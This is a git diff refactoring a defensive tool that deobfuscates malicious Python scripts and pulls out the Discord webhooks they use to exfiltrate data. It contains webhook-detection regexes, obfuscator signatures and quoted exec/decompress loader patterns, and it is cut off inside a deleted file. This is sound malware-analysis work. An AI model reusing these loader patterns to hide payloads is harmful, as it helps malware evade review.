diff --git a/.github/workflows/run_tests.yaml b/.github/workflows/run_tests.yaml new file mode 100644 index 0000000..c7ef16d --- /dev/null +++ b/.github/workflows/run_tests.yaml @@ -0,0 +1,29 @@ +name: "Tests" + +on: + workflow_dispatch: + push: + branches: + - main + pull_request: + +jobs: + test: + runs-on: ubuntu-latest + steps: + - name: "Checkout repository" + uses: actions/checkout@0ad4b8fadaa221de15dcec353f45205ec38ea70b # v4.1.4 + + - name: Set up Python 3.x + uses: actions/setup-python@82c7e631bb3cdc910f68e0081d67478d79c6982d # v5.1.0 + with: + python-version: 3.x + cache: pip + cache-dependency-path: pyproject.toml + + - name: Install dependencies + run: python -m pip install .[dev] + + - name: "Run tests" + run: pytest + diff --git a/README.md b/README.md index 57635d2..abbe2d7 100644 --- a/README.md +++ b/README.md @@ -12,7 +12,7 @@ pip install "vipyr-deobf[argcomplete] @ git+https://github.com/vipyrsec/vipyrsec ## Supported Obfuscation Types - Vare -- FreeCodingTools +- FCT (FreeCodingTools) - BlankOBF v2 - Hyperion (Incomplete) - PyObfuscate @@ -26,4 +26,36 @@ py -m vipyr-deobf mal.py By default, the deobfuscator will make a 'best attempt' at discerning the obfuscation. If it is unable to detect the obfuscation type, one can be manually supplied with the `-t` or `--type` switch. +Multiple obfuscation types and versions can be provided, separated by a comma. For example, `vipyr-deobf mal.py -t foov1,foov2,bar` will run the deobfuscator with version 1, 2 of `foo` and version 1 of `bar`. + The deobfuscator also supports writing an output to a file with the `-o` or `--output` switch. + +## Adding Deobfuscators + +If you want to add your own deobfuscators, you can simply add a file to the `deobfuscators` folder and `vipyr-deobf` will detect it +automatically. + +The format is `**/deobfuscators/DeobfName/deobfname.py`. `deobfname` should equal `DeobfName` with all characters lowercased +and spaces removed, and versioning is also supported by adding `_v(version number)` to the file name (if not provided, version defaults to 1). +For example, +``` +Foo/foo_v1.py +Eggs Bacon/eggsbacon_v2.py +Eggs Bacon/eggsbacon.py +``` +are all valid, but +``` +Foo/bar.py (different file name) +Foo/barv1.py (no _ before v) +``` +are not. + +After you've added your code to the file, add the following lines: +```py +from vipyr_deobf.deobf_base import Deobfuscator, register + +blankobf_v2_deobf = Deobfuscator(deobf, format_results, scan) +register(blankobf_v2_deobf) +``` +Look at the type hints for the `Deobfuscator` class to determine what the three functions +should look like and wrap your code into those three functions. \ No newline at end of file diff --git a/pyproject.toml b/pyproject.toml index 8f20177..0a26b2f 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "vipyr-deobf" -version = "0.1.0" +version = "0.2.0" description = "Rewrapping FieryIceStickie's Deobfuscation Tools" readme = "README.md" authors = [ @@ -13,6 +13,7 @@ dependencies = [ ] [project.optional-dependencies] +dev = ["pytest", "isort"] argcomplete = ["argcomplete"] [project.urls] @@ -24,3 +25,7 @@ vipyr-deobf = "vipyr_deobf.cli:run" [build-system] requires = ["setuptools", "wheel"] build-backend = "setuptools.build_meta" + +[tool.isort] +multi_line_output = 5 +balanced_wrapping = true diff --git a/src/vipyr_deobf/cli.py b/src/vipyr_deobf/cli.py index 57a033d..dcc8684 100644 --- a/src/vipyr_deobf/cli.py +++ b/src/vipyr_deobf/cli.py @@ -1,165 +1,83 @@ # PYTHON_ARGCOMPLETE_OK import argparse -import logging -import logging.config import importlib.util -from typing import Callable, TypeVar - -from .deobfuscators.blankobf2 import deobf_blankobf2, format_blankobf2 -from .deobfuscators.fct import deobf_fct, format_fct -from .deobfuscators.hyperion import deobf_hyperion, format_hyperion -from .deobfuscators.lzmaspam import deobf_lzma_b64, format_lzma_b64 -from .deobfuscators.pyobfuscate import deobf_pyobfuscate, format_pyobfuscate -from .deobfuscators.vare import deobf_vare, format_vare -from .exceptions import DeobfuscationFailError -from .scanners.blankobf2_scan import scan_blankobf2 -from .scanners.fct_scan import scan_fct -from .scanners.hyperion_scan import scan_hyperion -from .scanners.lzmaspam_scan import scan_lzma -from .scanners.pyobfuscate_scan import scan_pyobfuscate -from .scanners.vare_scan import scan_vare - -R = TypeVar('R') - -supported_obfuscators: dict[str, tuple[Callable[[str], R], Callable[[R], str]]] = { - 'hyperion': (deobf_hyperion, format_hyperion), - 'lzmaspam': (deobf_lzma_b64, format_lzma_b64), - 'vare': (deobf_vare, format_vare), - 'fct': (deobf_fct, format_fct), - 'blankobf2': (deobf_blankobf2, format_blankobf2), - 'pyobfuscate': (deobf_pyobfuscate, format_pyobfuscate), -} - -scanners: dict[str, Callable[[str], bool]] = { - 'hyperion': scan_hyperion, - 'lzmaspam': scan_lzma, - 'vare': scan_vare, - 'fct': scan_fct, - 'blankobf2': scan_blankobf2, - 'pyobfuscate': scan_pyobfuscate, -} - -alias_dict: dict[str, str] = { - 'vore': 'vare', - 'hyperd': 'hyperion', - 'fct_obfuscate': 'fct', - 'not_pyobfuscate': 'fct', - 'blankobfv2': 'blankobf2', -} - - -class Color: - clear = '\x1b[0m' - red = '\x1b[0;31m' - green = '\x1b[0;32m' - yellow = '\x1b[0;33m' - blue = '\x1b[0;34m' - white = '\x1b[0;37m' - bold_red = '\x1b[1;31m' - bold_green = '\x1b[1;32m' - bold_yellow = '\x1b[1;33m' - bold_blue = '\x1b[1;34m' - bold_white = '\x1b[1;37m' - - -class NoSoftWarning(logging.Filter): - def filter(self, record: logging.LogRecord) -> bool: - return not record.msg.endswith('(Expected)') - - -def run_deobf(code: str, deobf_type: str) -> str: - deobf_func, format_func = supported_obfuscators[deobf_type] - results = deobf_func(code) - return format_func(*results) if isinstance(results, tuple) else format_func(results) - +import logging -def setup_logging(args: argparse.Namespace): - logging_config = { - 'version': 1, - 'disable_existing_loggers': False, - 'formatters': { - 'default': { - 'format': f'{Color.bold_yellow}[{Color.blue}%(asctime)s{Color.bold_yellow}]' - f'{Color.bold_white}:{Color.green}%(levelname)s' - f'{Color.bold_white}:{Color.red}%(message)s{Color.clear}' - } - }, - 'handlers': { - 'stdout': { - 'class': 'logging.StreamHandler', - 'formatter': 'default', - 'stream': 'ext://sys.stdout', - 'filters': [] if args.soft else ['no_soft_warning'] - } - }, - 'filters': { - 'no_soft_warning': {'()': 'vipyr_deobf.cli.NoSoftWarning'} - }, - 'loggers': { - 'root': { - 'level': 'DEBUG' if args.debug else 'INFO', - 'handlers': ['stdout'] - } - } - } - logging.config.dictConfig(logging_config) +from vipyr_deobf.deobf_base import ( + get_available_deobfs, iter_deobfs, load_all_deobfs, load_deobfs +) +from vipyr_deobf.exceptions import DeobfuscationFailError +from vipyr_deobf.utils import Color, setup_logging -def run(): +def get_parser(): parser = argparse.ArgumentParser( prog='Vipyr Deobfuscator', description='Deobfuscates obfuscated scripts', + epilog='Available deobfuscators:\n' + '\n'.join( + f' - {deobf_name} v{version}' + for deobf_name, versions in get_available_deobfs().items() + for version in versions + ), + formatter_class=argparse.RawTextHelpFormatter, ) parser.add_argument('path', help='path to obfuscated file') parser.add_argument('-t', '--type', default='auto', type=str, - choices=list(supported_obfuscators.keys())+['auto'], - help='type of obfuscation used (defaults to auto)') - parser.add_argument('-o', '--output', help='file to output deobf result to, defaults to stdout') - parser.add_argument('-d', '--debug', action='store_true', help='display debug logs (defaults to false)') - parser.add_argument('-s', '--soft', action='store_true', help='display expected warnings (defaults to false)') + help='type of obfuscation used, see help for options (defaults to auto)') + parser.add_argument('-o', '--output', help='file to output deobf result to (defaults to stdout)') + parser.add_argument('-s', '--skip-scan', action='store_true', help='skip scanning phase to identify schema') + parser.add_argument('-d', '--debug', action='store_true', help='display debug logs') + parser.add_argument('--show-expected', action='store_true', help='display expected warnings') + return parser + + +def run(): + parser = get_parser() if importlib.util.find_spec('argcomplete') is not None: import argcomplete argcomplete.autocomplete(parser) + args = parser.parse_args() logger = logging.getLogger('deobf') setup_logging(args) + logger.info('Logging setup finished') + logger.info(f'Opening file at {args.path}') try: with open(args.path, 'r') as file: data = file.read() except FileNotFoundError: logger.error(f'{args.path} is not a valid path.') return + logger.info('Data successfully read from file') - schemas = [] + logger.info('Loading deobfuscators...') if args.type == 'auto': - logger.info('Scanning file to identify schema') - for schema, scanner in scanners.items(): - if scanner(data): - schemas.append(schema) - if not schemas: - logger.error('Could not identify obfuscation schema') - return - logger.info(f'Schemas matched: {", ".join(schemas)}') + load_all_deobfs() + else: + load_deobfs(args.type) + + if args.skip_scan: + deobfs = [*iter_deobfs()] else: - deobf_type = args.type.replace('-', '_') - deobf_type = alias_dict.get(deobf_type, deobf_type) - if deobf_type not in supported_obfuscators: - logger.error( - f'Unsupported obfuscation schema.\n' - f'Supported obfuscation schemes include:\n' - f'{", ".join(supported_obfuscators)}' - ) - return - schemas.append(deobf_type) + logger.info('Running scanners...') + deobfs = [] + for deobf in iter_deobfs(): + logger.info(f'Scanning with schema {deobf.name}v{deobf.version}') + if deobf.scan(data): + logger.info('Scan succeeded, adding to schema list') + deobfs.append(deobf) + else: + logger.info('Scan failed, skipping') + logger.info(f'Schema list: {", ".join([deobf.name for deobf in deobfs])}') - for schema in schemas: + for deobf in deobfs: try: - logger.info(f'Running deobf of {args.path} with schema <{schema}>') - output = run_deobf(data, schema) + logger.info(f'Running deobf of {args.path} with schema {deobf.name}') + output = deobf.deobf(data) except DeobfuscationFailError as exc: - logger.exception(f'Deobfuscation of {args.path} with schema <{schema}> failed:') + logger.exception(f'Deobfuscation of {args.path} with schema {deobf.name} failed:') for var, data in exc.env_vars.items(): print(f'{Color.bold_red}{var}{Color.clear}', data, sep='\n', end='\n\n') else: @@ -169,7 +87,4 @@ def run(): logger.info(f'Writing results of deobf to file {args.output}') with open(args.output, 'w') as file: file.write(output) - - -if __name__ == '__main__': - run() + break diff --git a/src/vipyr_deobf/deobf_base.py b/src/vipyr_deobf/deobf_base.py new file mode 100644 index 0000000..b6b36af --- /dev/null +++ b/src/vipyr_deobf/deobf_base.py @@ -0,0 +1,132 @@ +import glob +import importlib.util +import inspect +import logging +import re +from collections.abc import Callable, Iterator +from dataclasses import dataclass, field +from functools import cache +from pathlib import Path +from typing import TypeVar + +from vipyr_deobf.exceptions import DeobfLoadingError + +R = TypeVar('R') +deobf_path = Path(__file__).parent / 'deobfuscators' + +logger = logging.getLogger('deobf') + + +@dataclass +class Deobfuscator: + deobf_func: Callable[[str], R] + format_func: Callable[[R], str] + scan_func: Callable[[str], bool] + name: str = field(init=False) + version: int = field(init=False) + + def __post_init__(self): + path = Path(inspect.stack()[2].filename) + rel_path = path.relative_to(deobf_path) + try: + module_name, filename = rel_path.parts + except ValueError: + raise DeobfLoadingError('Deobfuscator was not initialized in a deobf module: see repo README') + obf_name = normalize_deobf_name(module_name) + res = parse_deobf_file_name(filename) + print(res, obf_name) + if not res: + raise DeobfLoadingError('Filename does not match module name: see repo README') + name, version = res + if name != obf_name: + raise DeobfLoadingError('Filename does not match module name: see repo README') + self.name = name + self.version = version + + def deobf(self, obf: str) -> R: + return self.deobf_func(obf) + + def format_results(self, res: R) -> str: + return self.format_func(res) + + def scan(self, obf: R) -> bool: + return self.scan_func(obf) + + +DEOBFS: dict[str, dict[int, Deobfuscator]] = {} + + +def normalize_deobf_name(name: str) -> str: + return name.lower().replace(' ', '') + + +def parse_deobf_file_name(filename: str) -> tuple[str, int] | None: + res = re.match(fr'([a-zA-Z]+)(?:_v(\d+))?\.py$', filename) + if not res: + return None + return res.group(1), int(res.group(2) or 1) + + +def register(deobf: Deobfuscator) -> None: + deobf_versions = DEOBFS.setdefault(deobf.name, {}) + if deobf.version in deobf_versions: + raise DeobfLoadingError(f'Version {deobf.version} of {deobf.name} has already been loaded') + deobf_versions[deobf.version] = deobf + + +alias_dict = { + 'vore': 'vare', + 'hyperd': 'hyperion', + 'fct_obfuscate': 'fct', + 'not_pyobfuscate': 'fct', +} + + +@cache +def get_available_deobfs() -> dict[str, dict[int, Path]]: + available_deobfs = {} + for deobf_dir in deobf_path.iterdir(): + deobf_name = normalize_deobf_name(deobf_dir.name) + available_deobfs[deobf_name] = { + res[1]: file + for file in deobf_dir.glob(f'{glob.escape(deobf_name)}*.py') + if (res := parse_deobf_file_name(file.name)) and res[0] == deobf_name + } + return available_deobfs + + +def load_deobfs(opt_str: str) -> None: + available_deobfs = get_available_deobfs() + for deobf_type in opt_str.split(','): + res = re.match(r'([a-zA-Z]+)(?:_(\d+))?$', deobf_type) + if not res: + raise DeobfLoadingError(f'{deobf_type} is an invalid schema option') + name = normalize_deobf_name(res.group(1)) + name = alias_dict.get(name, name) + version = int(res.group(2) or 1) + if name not in available_deobfs: + raise DeobfLoadingError(f'{name} is not the name of a deobfuscator') + elif version not in available_deobfs[name]: + raise DeobfLoadingError(f'Version {version} of {name} does not exist') + spec = importlib.util.spec_from_file_location('bobin', available_deobfs[name][version]) + module = importlib.util.module_from_spec(spec) + spec.loader.exec_module(module) + + +def load_all_deobfs() -> None: + available_deobfs = get_available_deobfs() + for versions in available_deobfs.values(): + for deobf in versions.values(): + logger.info(f'Loading {deobf.stem}') + spec = importlib.util.spec_from_file_location('bobin', deobf) + module = importlib.util.module_from_spec(spec) + spec.loader.exec_module(module) + logger.info(f'Finished loading {deobf.stem}') + + +def iter_deobfs() -> Iterator[Deobfuscator]: + return ( + deobf + for versions in DEOBFS.values() + for deobf in versions.values() + ) diff --git a/src/vipyr_deobf/deobf_utils.py b/src/vipyr_deobf/deobf_utils.py new file mode 100644 index 0000000..84257fc --- /dev/null +++ b/src/vipyr_deobf/deobf_utils.py @@ -0,0 +1,60 @@ +import ast +import base64 +import operator +import re +import zlib +from ast import Constant +from collections.abc import Callable + +WEBHOOK_REGEX = re.compile( + r'https?://(?:ptb\.|canary\.)?discord(?:app)?\.com/api(?:/v\d{1,2})?/webhooks/\d{17,21}/[\w-]{68}' +) +BYTES_WEBHOOK_REGEX = re.compile( + br'https?://(?:ptb\.|canary\.)?discord(?:app)?\.com/api(?:/v\d{1,2})?/webhooks/\d{17,21}/[\w-]{68}' +) + +known_funcs = { + ('base64', 'b64decode'): base64.b64decode, + ('zlib', 'decompress'): zlib.decompress, +} + +op_dict = { + ast.Add: operator.add, + ast.Sub: operator.sub, + ast.Mult: operator.mul, + ast.Div: operator.truediv, + ast.FloorDiv: operator.floordiv, + ast.Mod: operator.mod, + ast.Pow: operator.pow, + ast.LShift: operator.lshift, + ast.RShift: operator.rshift, + ast.BitOr: operator.or_, + ast.BitXor: operator.xor, + ast.BitAnd: operator.and_, + ast.MatMult: operator.matmul, + + ast.UAdd: operator.pos, + ast.USub: operator.neg, + ast.Not: operator.not_, + ast.Invert: operator.invert, +} + + +class StringCollapser(ast.NodeTransformer): + """ + Collapses Constant(value=str()) to some smaller str() + To help with seeing ast code structure + """ + + def __init__(self, renamer: str | Callable[[str], str] = 'a'): + """ + :param renamer: Either a string to rename everything to, or a function that receives the original + variable name as argument and outputs the new name + """ + self.renamer = (lambda _: renamer) if isinstance(renamer, str) else renamer + + def visit_Constant(self, node): + match node: + case Constant(value=str(value)): + return Constant(value=self.renamer(value)) + return node diff --git a/src/vipyr_deobf/deobfuscators/blankobf2.py b/src/vipyr_deobf/deobfuscators/BlankObf/blankobf_v2.py similarity index 89% rename from src/vipyr_deobf/deobfuscators/blankobf2.py rename to src/vipyr_deobf/deobfuscators/BlankObf/blankobf_v2.py index ddfe31b..3b81698 100644 --- a/src/vipyr_deobf/deobfuscators/blankobf2.py +++ b/src/vipyr_deobf/deobfuscators/BlankObf/blankobf_v2.py @@ -2,11 +2,14 @@ import logging import re import zlib -from ast import (Assign, Attribute, BinOp, BitXor, Break, Call, Compare, - Constant, Eq, Expr, For, If, ListComp, Module, Name, Slice, - Subscript, UnaryOp, comprehension, operator, unaryop) +from ast import ( + Assign, Attribute, BinOp, BitXor, Break, Call, Compare, Constant, + Eq, Expr, For, If, Import, ImportFrom, ListComp, Module, Name, + Slice, Subscript, UnaryOp, comprehension, operator, unaryop +) -from ..utils import WEBHOOK_REGEX, known_funcs, op_dict +from vipyr_deobf.deobf_base import Deobfuscator, register +from vipyr_deobf.deobf_utils import WEBHOOK_REGEX, known_funcs, op_dict logger = logging.getLogger('deobf') MAX_DEOBF_LIMIT = 30 @@ -226,8 +229,7 @@ def deobf_third_layer(tree: ast.Module): return ast.parse(payload) -def deobf_blankobf2(code: str) -> tuple[bool, ast.Module]: - logger.info('Deobfuscating BlankObf2 format') +def deobf(code: str) -> tuple[bool, ast.Module]: tree = ast.parse(code) logger.info('Removing imports') @@ -266,7 +268,8 @@ def deobf_blankobf2(code: str) -> tuple[bool, ast.Module]: return True, tree -def format_blankobf2(status: bool, tree: ast.Module) -> str: +def format_results(results: tuple[bool, ast.Module]) -> str: + status, tree = results if not status: logger.error('Code could not be fully deobfuscated: Attempting to return partial results now') return ast.unparse(tree) @@ -279,3 +282,28 @@ def format_blankobf2(status: bool, tree: ast.Module) -> str: for webhook in webhooks: logger.info(f'{webhook}') return deobfed_code + + +def scan(code: str): + tree = ast.parse(code) + match tree: + case Module( + body=[ + *imports, + Assign(), + Assign(), + Assign(), + Assign(), + Expr(), + ] + ) if all(isinstance(imp, Import | ImportFrom) for imp in imports): + return True + case Module( + body=[Assign(), For(body=If(body=[Expr(), Break()]))] + ): + return True + return False + + +blankobf_v2_deobf = Deobfuscator(deobf, format_results, scan) +register(blankobf_v2_deobf) diff --git a/src/vipyr_deobf/deobfuscators/fct.py b/src/vipyr_deobf/deobfuscators/FCT/fct.py similarity index 66% rename from src/vipyr_deobf/deobfuscators/fct.py rename to src/vipyr_deobf/deobfuscators/FCT/fct.py index 3127c0c..3253540 100644 --- a/src/vipyr_deobf/deobfuscators/fct.py +++ b/src/vipyr_deobf/deobfuscators/FCT/fct.py @@ -4,10 +4,15 @@ import logging import re import zlib +from ast import ( + Assign, Attribute, Call, Constant, Expr, Lambda, + Name, Slice, Subscript, UnaryOp, USub, arg, arguments +) from io import StringIO -from ..exceptions import DeobfuscationFailError -from ..utils import BYTES_WEBHOOK_REGEX +from vipyr_deobf.deobf_base import Deobfuscator, register +from vipyr_deobf.deobf_utils import BYTES_WEBHOOK_REGEX +from vipyr_deobf.exceptions import DeobfuscationFailError logger = logging.getLogger('deobf') @@ -137,12 +142,11 @@ def regex_nab_bytes(marshalled_bytes: bytes) -> bytes: return rtn_bytes[0] -def deobf_fct(code: str) -> bytes: +def deobf(code: str) -> bytes: """ Deobfuscates the not pyobfuscate schema :return: Marshalled code object of the source code """ - logger.info('Deobfuscating FCT format') obf_bytes = nab_surface_payload(code) for iteration in range(MAX_DEOBF_LIMIT): @@ -165,7 +169,7 @@ def deobf_fct(code: str) -> bytes: ) -def format_fct(marshalled_bytes: bytes) -> str: +def format_results(marshalled_bytes: bytes) -> str: logger.info('Obfuscation complete, formatting output') webhooks = BYTES_WEBHOOK_REGEX.findall(marshalled_bytes) @@ -186,3 +190,92 @@ def format_fct(marshalled_bytes: bytes) -> str: logger.info(f'{webhook.decode()}') return rtn_string.getvalue() + + +def match_inner_underscore_function(node: ast.Call): + match node: + case Call( + func=Attribute( + value=Call( + func=Name(id='__import__'), + args=[Constant(value='zlib')] + ), + attr='decompress', + ), + args=[ + Call( + func=Attribute( + value=Call( + func=Name(id='__import__'), + args=[Constant(value='base64')] + ), + attr='b64decode', + ), + args=[ + Subscript( + value=Name(id='__'), + slice=Slice( + step=UnaryOp(op=USub(), operand=Constant(value=1))), + ) + ] + ) + ] + ): + return True + return False + + +class FCTScanner(ast.NodeVisitor): + def __init__(self): + self.underscore_function_found = False + self.payload_found = False + + def visit_Assign(self, node): + match node: + case Assign( + targets=[Name(id='_')], + value=Lambda( + args=arguments(args=[arg(arg='__')]), + body=Call( + func=Attribute( + value=Call( + func=Name(id='__import__'), + args=[Constant(value='marshal')] + ), + attr='loads', + ), + args=[body] + ) | body + ) + ) if match_inner_underscore_function(body): + self.underscore_function_found = True + return + + def visit_Expr(self, node): + match node: + case Expr( + value=Call( + func=Name(id='exec'), + args=[ + Call( + func=Name(id='_'), + args=[Constant(value=payload)] + ) + ] + ) + ) if isinstance(payload, bytes): + self.payload_found = True + return + + +def scan(code: str): + fct_scanner = FCTScanner() + fct_scanner.visit(ast.parse(code)) + return ( + fct_scanner.underscore_function_found + and fct_scanner.payload_found + ) + + +fct_deobf = Deobfuscator(deobf, format_results, scan) +register(fct_deobf) diff --git a/src/vipyr_deobf/deobfuscators/Hyperion/hyperion.py b/src/vipyr_deobf/deobfuscators/Hyperion/hyperion.py new file mode 100644 index 0000000..74b300b --- /dev/null +++ b/src/vipyr_deobf/deobfuscators/Hyperion/hyperion.py @@ -0,0 +1,138 @@ +""" +Deobfuscator for the Hyperion obfuscation schema +https://github.com/billythegoat356/Hyperion +Hyperion is pretty easy to recognize considering it advertises itself at the top of the code +(Forcibly btw if you try and remove it the code doesn't run) +If the malware author somehow removed it, then lines like + from math import prod as Hypothesis + class _theory: + except Exception as _floor: + if 365101 > 7435378: + _theory.execute(code = Walk(_floor)) + elif 337143 > 2680668: + _theory(_modulo = -56047 * -45510).Calculate(CallFunction = _builtins._system * 14696) +and generally weird looking pseudo-math code is probably Hyperion +""" + +import ast +import base64 +import binascii +import re +import zlib +from ast import Assign, Attribute, Call, Constant, Name, Tuple + +from vipyr_deobf.deobf_base import Deobfuscator, register +from vipyr_deobf.deobf_utils import WEBHOOK_REGEX + + +class HyperionB64zlibBytes(ast.NodeTransformer): + """ + Temp transformer for the base64 zlib frosting until we get the better oven + """ + + def visit_Call(self, node: Call): + match node: + case Call( + func=Attribute( + value=Call( + func=Attribute( + value=Call(func=Name(id='__import__'), args=[Constant(value='base64')]), + attr='b64decode'), + args=[ + Call( + func=Attribute( + value=Call(func=Name(id='__import__'), args=[Constant(value='zlib')]), + attr='decompress'), + args=[Constant(value=payload)])]), + attr='decode')): + value = base64.b64decode(zlib.decompress(payload)).decode() + return Constant(value=value) + case Call( + func=Attribute( + value=Call(func=Name(id='__import__'), args=[Constant(value='base64')]), + attr='b64decode'), + args=[ + Call( + func=Attribute( + value=Call(func=Name(id='__import__'), args=[Constant(value='zlib')]), + attr='decompress'), + args=[Constant(value=payload)])]): + value = base64.b64decode(zlib.decompress(payload)) + return Constant(value=value) + case _: + return self.generic_visit(node) + + +def deobf(code: str) -> list[str]: + """ + Extracts all strings containing 'https' from the code + """ + no_frosting = ast.unparse(HyperionB64zlibBytes().visit(ast.parse(code))) + code = zlib.decompress( + b''.join( + ast.literal_eval(byte_string) + for byte_string, _ in re.findall(r"(? str: + webhooks = [url for url in urls if re.search(WEBHOOK_REGEX, url)] + if webhooks: + return ('Webhooks:\n' + + '\n'.join(webhooks)) + else: + return ('No webhooks found, displaying all urls:\n' + + '\n'.join(urls)) + + +class HyperionScanner(ast.NodeVisitor): + def __init__(self): + self.signature_found = False + + def visit_Assign(self, node): + match node: + case Assign( + targets=[Name(id='__obfuscator__')], + value=Constant(value='Hyperion'), + ) | Assign( + targets=[Name(id='__authors__')], + value=Tuple( + elts=[ + Constant(value='billythegoat356'), + Constant(value='BlueRed') + ], + ) + ) | Assign( + targets=[Name(id='__github__')], + value=Constant(value='https://github.com/billythegoat356/Hyperion') + ): + self.signature_found = True + return + + +COMMENT_REGEX = re.compile( + r'# sourcery skip: collection-to-bool, remove-redundant-boolean, remove-redundant-except-handler' +) + + +def scan(code: str): + if COMMENT_REGEX.search(code): + return True + hyp_scanner = HyperionScanner() + hyp_scanner.visit(ast.parse(code)) + return hyp_scanner.signature_found + + +hyperion_deobf = Deobfuscator(deobf, format_results, scan) +register(hyperion_deobf) diff --git a/src/vipyr_deobf/scanners/lzmaspam_scan.py b/src/vipyr_deobf/deobfuscators/LzmaSpam/lzmaspam.py similarity index 57% rename from src/vipyr_deobf/scanners/lzmaspam_scan.py rename to src/vipyr_deobf/deobfuscators/LzmaSpam/lzmaspam.py index 0b6e6f5..9333f7d 100644 --- a/src/vipyr_deobf/scanners/lzmaspam_scan.py +++ b/src/vipyr_deobf/deobfuscators/LzmaSpam/lzmaspam.py @@ -1,6 +1,59 @@ +""" +Deobfuscator for an obfuscation schema that has heavy use of lzma.decompress and base64.b64decode +Example: https://hst.sh/raw/ojucipihoc +If the file begins with + import base64 + import lzma + exec(compile(lzma.decompress(base64.b64decode(...)))) +Then it's likely this obfuscation schema +""" + import ast +import base64 +import codecs +import lzma +import re from ast import Attribute, Call, Constant, Expr, Import, Name, alias +from vipyr_deobf.deobf_base import Deobfuscator, register +from vipyr_deobf.deobf_utils import WEBHOOK_REGEX + + +def deobf(code: str) -> re.Match: + """ + Extracts webhook from code + """ + code = lzma.decompress( + ast.literal_eval( + re.search( + r"(b'.+?')\n", + lzma.decompress(base64.b64decode( + ast.literal_eval( + re.search(r"b'.+?'", code).group(0) + ) + )).decode() + ).group(1) + ) + ).decode() + var_code, mal_code = re.split(r';(?=[^;]+$)', code) + doggo = {k: v for k, v in re.findall(r'(_{3,})="(.+?)"(?:;|$)', var_code)} + a, b, c, d = map(doggo.get, re.findall(r'_{3,}', mal_code)) + webhook_match = re.search( + WEBHOOK_REGEX, + str(base64.b64decode( + codecs.decode(a, 'rot13') + b + c[::-1] + d + )) + ) + return webhook_match + + +def format_results(webhook_match: re.Match) -> str: + if webhook_match: + return (f'Webhook:\n' + f'{webhook_match.group(0)}') + else: + return "No webhook found." + class LZMAScanner(ast.NodeVisitor): def __init__(self): @@ -51,7 +104,7 @@ def visit_Expr(self, node): return -def scan_lzma(code: str): +def scan(code: str): lzma_scanner = LZMAScanner() lzma_scanner.visit(ast.parse(code)) return ( @@ -59,3 +112,7 @@ def scan_lzma(code: str): and lzma_scanner.lzma_import_found and lzma_scanner.payload_found ) + + +lzmaspam_deobf = Deobfuscator(deobf, format, scan) +register(lzmaspam_deobf) diff --git a/src/vipyr_deobf/deobfuscators/pyobfuscate.py b/src/vipyr_deobf/deobfuscators/PyObfuscate/pyobfuscate.py similarity index 92% rename from src/vipyr_deobf/deobfuscators/pyobfuscate.py rename to src/vipyr_deobf/deobfuscators/PyObfuscate/pyobfuscate.py index 36206f4..bf8cca5 100644 --- a/src/vipyr_deobf/deobfuscators/pyobfuscate.py +++ b/src/vipyr_deobf/deobfuscators/PyObfuscate/pyobfuscate.py @@ -7,7 +7,8 @@ from Crypto.Cipher import AES from Crypto.Util.Padding import unpad -from ..utils import WEBHOOK_REGEX +from vipyr_deobf.deobf_base import Deobfuscator, register +from vipyr_deobf.deobf_utils import WEBHOOK_REGEX logger = logging.getLogger('deobf') @@ -84,25 +85,6 @@ def extract_payload(tree: ast.Module) -> None | tuple[str, PayloadType1 | Payloa return extractor.obf_type, extractor.payload -def deobf_pyobfuscate(code: str) -> str | None: - logger.info('Running pyobfuscate') - tree = ast.parse(code) - result = extract_payload(tree) - if result is None: - return None - - logger.info('Payload found') - obf_type, payload = result - if obf_type == 'pyobfuscate': - logger.info('Payload identified as first variant') - return deobf_first_variant(*payload) - elif obf_type == 'obfuscate': - logger.info('Payload identified as second variant') - return deobf_second_variant(*payload) - else: - logger.error('Unknown obf type. This should never happen, so please report this.') - - def deobf_first_variant(key0: str, value0: str, value2: bytes) -> str: logger.info('Running first variant on payload') key = hashlib.sha256(f'{key0}{value0}'.encode()).digest()[:24] @@ -131,7 +113,25 @@ def deobf_second_variant(value: str, key: str) -> str: return AES.new(cipherkey, AES.MODE_CFB, data).decrypt(key[8:]).decode() -def format_pyobfuscate(deobfed_code: str) -> str: +def deobf(code: str) -> str | None: + tree = ast.parse(code) + result = extract_payload(tree) + if result is None: + return None + + logger.info('Payload found') + obf_type, payload = result + if obf_type == 'pyobfuscate': + logger.info('Payload identified as first variant') + return deobf_first_variant(*payload) + elif obf_type == 'obfuscate': + logger.info('Payload identified as second variant') + return deobf_second_variant(*payload) + else: + logger.error('Unknown obf type. This should never happen, so please report this.') + + +def format_results(deobfed_code: str) -> str: logger.info('Code has been deobfuscated successfully') webhooks = WEBHOOK_REGEX.findall(deobfed_code) if webhooks: @@ -139,3 +139,13 @@ def format_pyobfuscate(deobfed_code: str) -> str: for webhook in webhooks: logger.info(f'{webhook}') return deobfed_code + + +def scan(code: str): + extractor = PayloadExtractor() + extractor.visit(ast.parse(code)) + return bool(extractor.obf_type) + + +pyobfuscate_deobf = Deobfuscator(deobf, format_results, scan) +register(pyobfuscate_deobf) diff --git a/src/vipyr_deobf/deobfuscators/vare.py b/src/vipyr_deobf/deobfuscators/Vare/vare.py similarity index 60% rename from src/vipyr_deobf/deobfuscators/vare.py rename to src/vipyr_deobf/deobfuscators/Vare/vare.py index 0240e07..1800374 100644 --- a/src/vipyr_deobf/deobfuscators/vare.py +++ b/src/vipyr_deobf/deobfuscators/Vare/vare.py @@ -12,10 +12,11 @@ from cryptography.fernet import Fernet -from ..utils import WEBHOOK_REGEX +from vipyr_deobf.deobf_base import Deobfuscator, register +from vipyr_deobf.deobf_utils import WEBHOOK_REGEX -def deobf_vare(code: str) -> str: +def deobf(code: str) -> str: """ Extracts the entire source code from code """ @@ -31,9 +32,24 @@ def deobf_vare(code: str) -> str: ).decode() -def format_vare(result: str) -> str: +def format_results(result: str) -> str: return result + '\n\n' + '\n'.join(re.findall(WEBHOOK_REGEX, result)) -if __name__ == '__main__': - pass +VARE_NAME_REGEX = re.compile(r'__VareObfuscator__') +SAINT_REGEX = re.compile(r'def saint\d+\(\):') +MIKEY_REGEX = re.compile(r'__mikey__') + + +def scan(code: str): + return any( + pattern.search(code) + for pattern in ( + VARE_NAME_REGEX, + SAINT_REGEX, + MIKEY_REGEX, + ) + ) + +vare_deobf = Deobfuscator(deobf, format_results, scan) +register(vare_deobf) diff --git a/src/vipyr_deobf/deobfuscators/hyperion.py b/src/vipyr_deobf/deobfuscators/hyperion.py deleted file mode 100644 index a8bff61..0000000 --- a/src/vipyr_deobf/deobfuscators/hyperion.py +++ /dev/null @@ -1,102 +0,0 @@ -""" -Deobfuscator for the 